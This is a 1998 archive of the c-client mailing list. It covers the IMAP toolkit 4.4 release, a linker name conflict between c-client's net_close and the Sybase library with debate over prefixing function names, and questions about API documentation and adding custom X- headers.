C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: art.mulder@ualberta.ca Cc: c-client@u.washington.edu Subject: re: tmail vs. mbx In-Reply-To: <199809081729.LAA15775@rockpile.ucs.ualberta.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN The -I switch to tmail was added some time ago by local request, and subsequently was never used. You're probably the first person who has tried to use it, and it seems to have gotten broken with the #driver syntax. This problem will be fixed in the next version of the imap-utils which will be placed on the FTP server sometime this week. For your convenience, I am attaching a fixed version of tmail.c under separate cover. From pinedev@shivax2.cac.washington.edu Tue Sep 8 15:27:48 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 8 Sep 1998 15:27:48 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id PAA21775 for ; Tue, 8 Sep 1998 15:27:47 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA10548; Tue, 8 Sep 1998 15:27:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA22485; Tue, 8 Sep 1998 15:27:17 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA27122 for ; Tue, 8 Sep 1998 15:25:52 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA28216 for ; Tue, 8 Sep 1998 15:25:51 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jgr@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA25422; Tue, 8 Sep 1998 15:25:49 -0700 Message-Id: Date: Tue, 8 Sep 1998 15:25:42 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: IMAP Interest List , c-client Interest List Subject: announcing: IMAP toolkit 4.4 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN ftp://ftp.cac.washington.edu/mail/imap-4.4.tar.Z imap-4.4 is a maintenace update. It fixes the following bugs in imap-4.3, which was distributed with Pine 4.03: 1) international character searching did not handle MIME2 headers properly 2) crashes if the first UID in a UID sequence range did not correspond to a message 3) no messages selected if neither UID in a UID sequence range corresponded to a message 4) memory leak in local news spool access each time the ACTIVE file was scanned for a valid news group. Bugs (2) and (3) prevented the use of imap-4.3's imapd with Netscape Messenger and Microsoft's Outlook. -- Mark -- * RCW 19.149 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * Science does not emerge from voting, party politics, or public debate. ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/imap/imap-list.html ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Wed Sep 9 08:37:45 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 9 Sep 1998 08:37:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id IAA08920 for ; Wed, 9 Sep 1998 08:37:44 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA27403; Wed, 9 Sep 1998 08:37:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id IAA10945; Wed, 9 Sep 1998 08:36:34 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA66596 for ; Wed, 9 Sep 1998 08:34:05 -0700 Received: from elmwood.afterfive.com (musone@elmwood.afterfive.com [208.197.226.9]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA29004 for ; Wed, 9 Sep 1998 08:34:00 -0700 Received: (from musone@localhost) by elmwood.afterfive.com (8.9.1/8.9.1) id LAA20721; Wed, 9 Sep 1998 11:05:00 -0400 Message-Id: <199809091505.LAA20721@elmwood.afterfive.com> Date: Wed, 9 Sep 1998 11:04:56 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Musone To: c-client@u.washington.edu Cc: musone@elmwood.afterfive.com (Mark Musone) Subject: Problem with function name net_open MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi, I maintain the imap library for PHP (www.php.net), a server-side web scripting language. The imap module uses WU's c-client library. Today we received a bug report that, when somebody compiles in the sybase-ct libraries, theres a linking problem: /opt/imap/lib/c-client.a(mail.o): In function `net_close': mail.o(.text+0x9069): multiple definition of `net_close' /opt/sybase/lib/libsybtcl.a(net_clos.o)(.text+0x0): first defined here collect2: ld returned 1 exit status It seems the sybase-ct library has the same function defined. The other problem is that the sybase library does not come with source code. Considering that net_close (and the other net_ functions) are documented API's, it doesnt seem as though it'd ever be considered to change the names (although it'd be great!) The other thought i had was to maybe do something like #ifdef PHP #define net_close wu_imap_net_close I'd even be happy to code this and submit the patches.. Any other suggestions would be greatly appreciated!! Thanks, Mark Musone musone@afterfive.com ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 9 09:00:56 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 9 Sep 1998 09:00:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA07456 for ; Wed, 9 Sep 1998 09:00:55 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA28050; Wed, 9 Sep 1998 09:00:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id JAA02774; Wed, 9 Sep 1998 09:00:07 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA71128 for ; Wed, 9 Sep 1998 08:59:00 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (azuma@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA31133 for ; Wed, 9 Sep 1998 08:58:59 -0700 Message-Id: Date: Wed, 9 Sep 1998 08:48:00 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Mark Musone Cc: c-client@u.washington.edu Subject: re: Problem with function name net_open In-Reply-To: <199809091505.LAA20721@elmwood.afterfive.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'd prefer not to get into the business of site-dependent patches (although that may be your best choice!); and you're right, it is a documented API function so greater trauma would be caused by changing it in the distribution version. My feeling is that name conflicts between libraries are inevitable. I once had someone absolutely adamantly demand that I change the name of mail_open() because he was using some library that had that name. The ideal solution would be some sort of linker option that would permit resolving conflicting globals, and/or localizing them to certain modules in the link. That doesn't imply that I know of any UNIX linker that does that (but it seems to be a rather obvious function for an advanced linker). -- Mark -- PS: By the way, we are the University of Washington (UW). Washington University (WU) is the name of three separate institutions in St. Louis, MO; Bryn Mawr, PA; and Burnaby, BC; none of whom seem to be in the IMAP software development business. From pinedev@shivax2.cac.washington.edu Wed Sep 9 09:45:13 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 9 Sep 1998 09:45:13 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA10357 for ; Wed, 9 Sep 1998 09:45:12 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA29409; Wed, 9 Sep 1998 09:45:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id JAA05632; Wed, 9 Sep 1998 09:44:31 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA64770 for ; Wed, 9 Sep 1998 09:42:28 -0700 Received: from phyw164.phy.hw.ac.uk (karsten@phyw164.phy.hw.ac.uk [137.195.29.164]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA16522 for ; Wed, 9 Sep 1998 09:42:27 -0700 Received: (from karsten@localhost) by phyw164.phy.hw.ac.uk (8.8.5/8.8.5) id RAA01805; Wed, 9 Sep 1998 17:42:20 +0100 Message-Id: <13814.44897.840127.613714@phyw164.phy.hw.ac.uk> Date: Wed, 9 Sep 1998 17:42:19 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: c-client@u.washington.edu Subject: re: Problem with function name net_open In-Reply-To: References: <199809091505.LAA20721@elmwood.afterfive.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Url: http://Ballueder.home.ml.org/ X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg My feeling is that name conflicts between libraries are inevitable. = I once > had someone absolutely adamantly demand that I change the name of ma= il_open() > because he was using some library that had that name. Maybe it would be an option to move to a conflict-avoiding naming scheme like: wu_net_open(), wu_mail_open(),... or some other common prefix One could easily keep the old names preprocessor defined for backwards=20= compatibilty. #ifdef USE_OLD_NAMES #define net_open wu_net_open .... That would avoid such problems in the future and it should be possible=20= to gradually move to such a new naming scheme. --=20 Karsten Ball=FCder http://Ballueder.home.ml.org/ mailto:Ballueder@usa.= net Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotla= nd "In a world without fences, who needs Gates?" =20 From pinedev@shivax2.cac.washington.edu Wed Sep 9 09:55:39 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 9 Sep 1998 09:55:38 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA30041 for ; Wed, 9 Sep 1998 09:55:37 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA29746; Wed, 9 Sep 1998 09:55:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id JAA04224; Wed, 9 Sep 1998 09:54:52 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA64892 for ; Wed, 9 Sep 1998 09:53:38 -0700 Received: from elmwood.afterfive.com (musone@elmwood.afterfive.com [208.197.226.9]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA04658 for ; Wed, 9 Sep 1998 09:53:37 -0700 Received: (from musone@localhost) by elmwood.afterfive.com (8.9.1/8.9.1) id MAA09309; Wed, 9 Sep 1998 12:24:59 -0400 Message-Id: <199809091624.MAA09309@elmwood.afterfive.com> Date: Wed, 9 Sep 1998 12:24:56 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Musone To: karsten@phy.hw.ac.uk (Karsten Ballueder) Cc: c-client@u.washington.edu Subject: Re: Problem with function name net_open In-Reply-To: <13814.44897.840127.613714@phyw164.phy.hw.ac.uk> from "Karsten Ballueder" at Sep 9, 98 05:42:19 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > Maybe it would be an option to move to a conflict-avoiding naming > scheme like: > > wu_net_open(), wu_mail_open(),... or some other common prefix uw_net_open, uw_mail_open ... > > One could easily keep the old names preprocessor defined for backwards > compatibilty. > > #ifdef USE_OLD_NAMES > #define net_open wu_net_open #define net_open uw_net_open (dont want to anger MRC while trying to convince him of this big change ;^) ) Mark From pinedev@shivax2.cac.washington.edu Wed Sep 9 10:17:02 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 9 Sep 1998 10:17:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA32461 for ; Wed, 9 Sep 1998 10:17:01 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA00506; Wed, 9 Sep 1998 10:16:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA05189; Wed, 9 Sep 1998 10:16:15 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA57356 for ; Wed, 9 Sep 1998 10:15:00 -0700 Received: from ares.voicerite.com (totalcall.com [209.203.195.254]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA20738 for ; Wed, 9 Sep 1998 10:14:58 -0700 Received: from ashvedov (ashvedov.voicerite.com [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id MAA00570; Wed, 9 Sep 1998 12:07:29 -0400 Message-Id: <005501bddc15$18b87e50$2601a8c0@ashvedov.voicerite> Date: Wed, 9 Sep 1998 13:12:59 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Aleksandr M. Shvedov" To: "Mark Musone" , "Karsten Ballueder" Cc: Subject: Re: Problem with function name net_open MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN >#define net_open uw_net_open > >(dont want to anger MRC while trying to convince him of this big change ;^) ) Why?! Even #define net_open MRC_uw_net_open won't be enough! He deserves it! Alex. From pinedev@shivax2.cac.washington.edu Wed Sep 9 10:38:09 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 9 Sep 1998 10:38:09 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA09040 for ; Wed, 9 Sep 1998 10:38:07 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA15933; Wed, 9 Sep 1998 10:37:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA07958; Wed, 9 Sep 1998 10:37:20 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA73992 for ; Wed, 9 Sep 1998 10:35:39 -0700 Received: from elmwood.afterfive.com (musone@elmwood.afterfive.com [208.197.226.9]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA10917 for ; Wed, 9 Sep 1998 10:35:37 -0700 Received: (from musone@localhost) by elmwood.afterfive.com (8.9.1/8.9.1) id NAA26047; Wed, 9 Sep 1998 13:06:58 -0400 Message-Id: <199809091706.NAA26047@elmwood.afterfive.com> Date: Wed, 9 Sep 1998 13:06:57 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Musone To: Andrew.Walduck.waldua@nt.com (Andrew Walduck) Cc: karsten@phy.hw.ac.uk, c-client@u.washington.edu Subject: Re: Problem with function name net_open In-Reply-To: from "Andrew Walduck" at Sep 9, 98 01:14:01 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I dont turst just an imap_ prefix. it's too generic. the better thing to do is to also include a vendor string somewhere, i.e. uw_imap_ i'm just thinking of the future. because of the absolutly excellent work the Mark Crispin and everybody else at UW for making imap such an excellent standard, soon everything will most likely be imap. Mark > > Well.... If we're going to cause pain... > How 'bout prefixing everything with "imap"... ;-) > And have an "oldnames" compatibility library... > > ie: > the real implementation of net open is: > imap_net_open(); > > and the old names stub implementation (in a separate lib ...) is: > net_open() > { > return imap_net_open(); > } > > Old clients still work (if linked with the oldnames lib) without > recompiling. > New clients should be written to use the new names. > And there is no iffdef this name or that name stuff... > > Opinions?? Anyone?? Bueller??? > Cheers. > Andrew Walduck From pinedev@shivax2.cac.washington.edu Wed Sep 9 11:13:35 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 9 Sep 1998 11:13:35 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA12445 for ; Wed, 9 Sep 1998 11:13:34 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA16954; Wed, 9 Sep 1998 11:13:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA16408; Wed, 9 Sep 1998 11:12:58 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA18970 for ; Wed, 9 Sep 1998 11:11:02 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (swirly@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA15362 for ; Wed, 9 Sep 1998 11:11:02 -0700 Message-Id: Date: Wed, 9 Sep 1998 10:40:46 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Mark Musone Cc: Andrew Walduck , karsten@phy.hw.ac.uk, c-client@u.washington.edu Subject: Re: Problem with function name net_open In-Reply-To: <199809091706.NAA26047@elmwood.afterfive.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Before we start talking about changing function names we really should consider: 1) the magnitude of the problem we are trying to solve vs. 2) the magnitude of the problem created. I get a "function name conflicts with such-and-such library" report about once every 2-3 years. Granted, empirical evidence can be misleading, but this really suggests that (1) is considerably more minor than (2). Also, choosing a new naming scheme has its own problems. c-client has a much wider scope than just IMAP; there are people who use c-client without ever touching IMAP. Similarly, it would be presumptious to assume that this is the only library that will ever be written at UW. What's really needed is some sort of library:function scoping (I can see the C++ and other OOP guys chiming in...), but that could be done by the linker without requiring a new language. [Aside to the C++ and other OOP guys -- what do you do when you get object name conflicts? Sorry... ;-)] For the time being, I'd argue that this problem is of academic interest only. From pinedev@shivax2.cac.washington.edu Mon Sep 14 14:09:17 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 14 Sep 1998 14:09:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA20145 for ; Mon, 14 Sep 1998 14:09:15 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id OAA06514; Mon, 14 Sep 1998 14:09:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA15664; Mon, 14 Sep 1998 14:07:52 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id OAA34934 for ; Mon, 14 Sep 1998 14:04:49 -0700 Received: from centonline.com (mail.centonline.com [204.238.52.24]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id OAA05333 for ; Mon, 14 Sep 1998 14:04:29 -0700 Received: from cvis0 (cvis0 [204.238.52.4]) by centonline.com (8.8.8/8.8.8) with SMTP id QAA11554; Mon, 14 Sep 1998 16:07:18 -0500 Message-Id: Date: Mon, 14 Sep 1998 16:05:11 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: William Suetholz To: c-client@u.washington.edu Cc: wsuetholz@centonline.com Subject: C-Client API Documentation? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: bill@cvis0 X-Priority: 4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'm sure I saw some documentation for the C-Client API somewhere.. Can anybody tell me where? I have imap-4.4 installed. Also, I need the ability to add in some X- headers. I need X-Priority, X-ANI, and X-Subscriber which I'd like to put into the first part of a Multipart MIME message. Pine currently achieves this by using it's own versions of some of the RFC822 functions.. Isn't there a way that the C-Client could be made configurable enough so that pine wouldn't have to do that? One of the things that pine does, is it puts a quick paragraph in the first MIME part that sayes it's a MIME message. Should I instead of trying to use a bodypart for the additional headers, add in a additional_header field to the envelope structure, that can have as many lines of additional fields as the MUA designer wants? Thanks for your time. Bill Suetholz ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 14 14:24:04 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 14 Sep 1998 14:24:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA20011 for ; Mon, 14 Sep 1998 14:24:02 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id OAA06978; Mon, 14 Sep 1998 14:23:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA14530; Mon, 14 Sep 1998 14:22:51 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id OAA34956 for ; Mon, 14 Sep 1998 14:21:00 -0700 Received: from ares.voicerite.com (totalcall.com [209.203.195.254]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id OAA07465 for ; Mon, 14 Sep 1998 14:19:58 -0700 Received: from ashvedov (ashvedov.voicerite.com [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id QAA12818; Mon, 14 Sep 1998 16:12:35 -0400 Message-Id: <004101bde025$228c3e30$2601a8c0@ashvedov.voicerite> Date: Mon, 14 Sep 1998 17:17:52 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Aleksandr M. Shvedov" To: Cc: Subject: Re: C-Client API Documentation? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I have the same problem with "Importance" and/or "X-Priority". My idea was to make changes in rfc822.c and mail.c (in envelope structure, of course) manually. Any other solutions? As for docs, it was discussed some time ago here: old, bad, wrong internal.doc is the only piece available. I suspect that actually everybody does what I do - reads the code... From pinedev@shivax2.cac.washington.edu Mon Sep 14 15:24:44 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 14 Sep 1998 15:24:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id PAA22528 for ; Mon, 14 Sep 1998 15:24:42 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA08828; Mon, 14 Sep 1998 15:24:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA28113; Mon, 14 Sep 1998 15:22:43 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA27880 for ; Mon, 14 Sep 1998 15:20:37 -0700 Received: from centonline.com (mail.centonline.com [204.238.52.24]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA06754 for ; Mon, 14 Sep 1998 15:20:35 -0700 Received: from centonline.com (sup [204.238.52.55]) by centonline.com (8.8.8/8.8.8) with ESMTP id RAA13639; Mon, 14 Sep 1998 17:23:28 -0500 Message-Id: <35FD4133.CE539C66@centonline.com> Date: Mon, 14 Sep 1998 17:15:48 +0100 Reply-To: wsuetholz@centonline.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: William Suetholz To: "Aleksandr M. Shvedov" Cc: c-client@u.washington.edu Subject: Re: C-Client API Documentation? References: <004101bde025$228c3e30$2601a8c0@ashvedov.voicerite> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Aleksandr M. Shvedov wrote: > > I have the same problem with "Importance" and/or "X-Priority". My idea > was to make changes in rfc822.c and mail.c (in envelope structure, of > course) manually. Any other solutions? The two ways I was thinking about doing it were: 1) Somehow force the first MIME bodypart to really be header info. and put in what we want. 2) Add into the envelope structure a text field that we can use to add in additional header lines. Also could contain any header lines that were not filled into the other envelope fields for inbound messages. I also need a function to call to retrieve the parameter portion of the header line, given the id string. ie header_value ("Subject:") for this message would return "Re: C-Client API Documentation?". > > As for docs, it was discussed some time ago here: old, bad, wrong > internal.doc is the only piece available. I suspect that actually > everybody does what I do - reads the code... So much fun! Bill Suetholz From pinedev@shivax2.cac.washington.edu Mon Sep 14 15:43:09 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 14 Sep 1998 15:43:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id PAA19588 for ; Mon, 14 Sep 1998 15:43:07 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA09381; Mon, 14 Sep 1998 15:43:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by 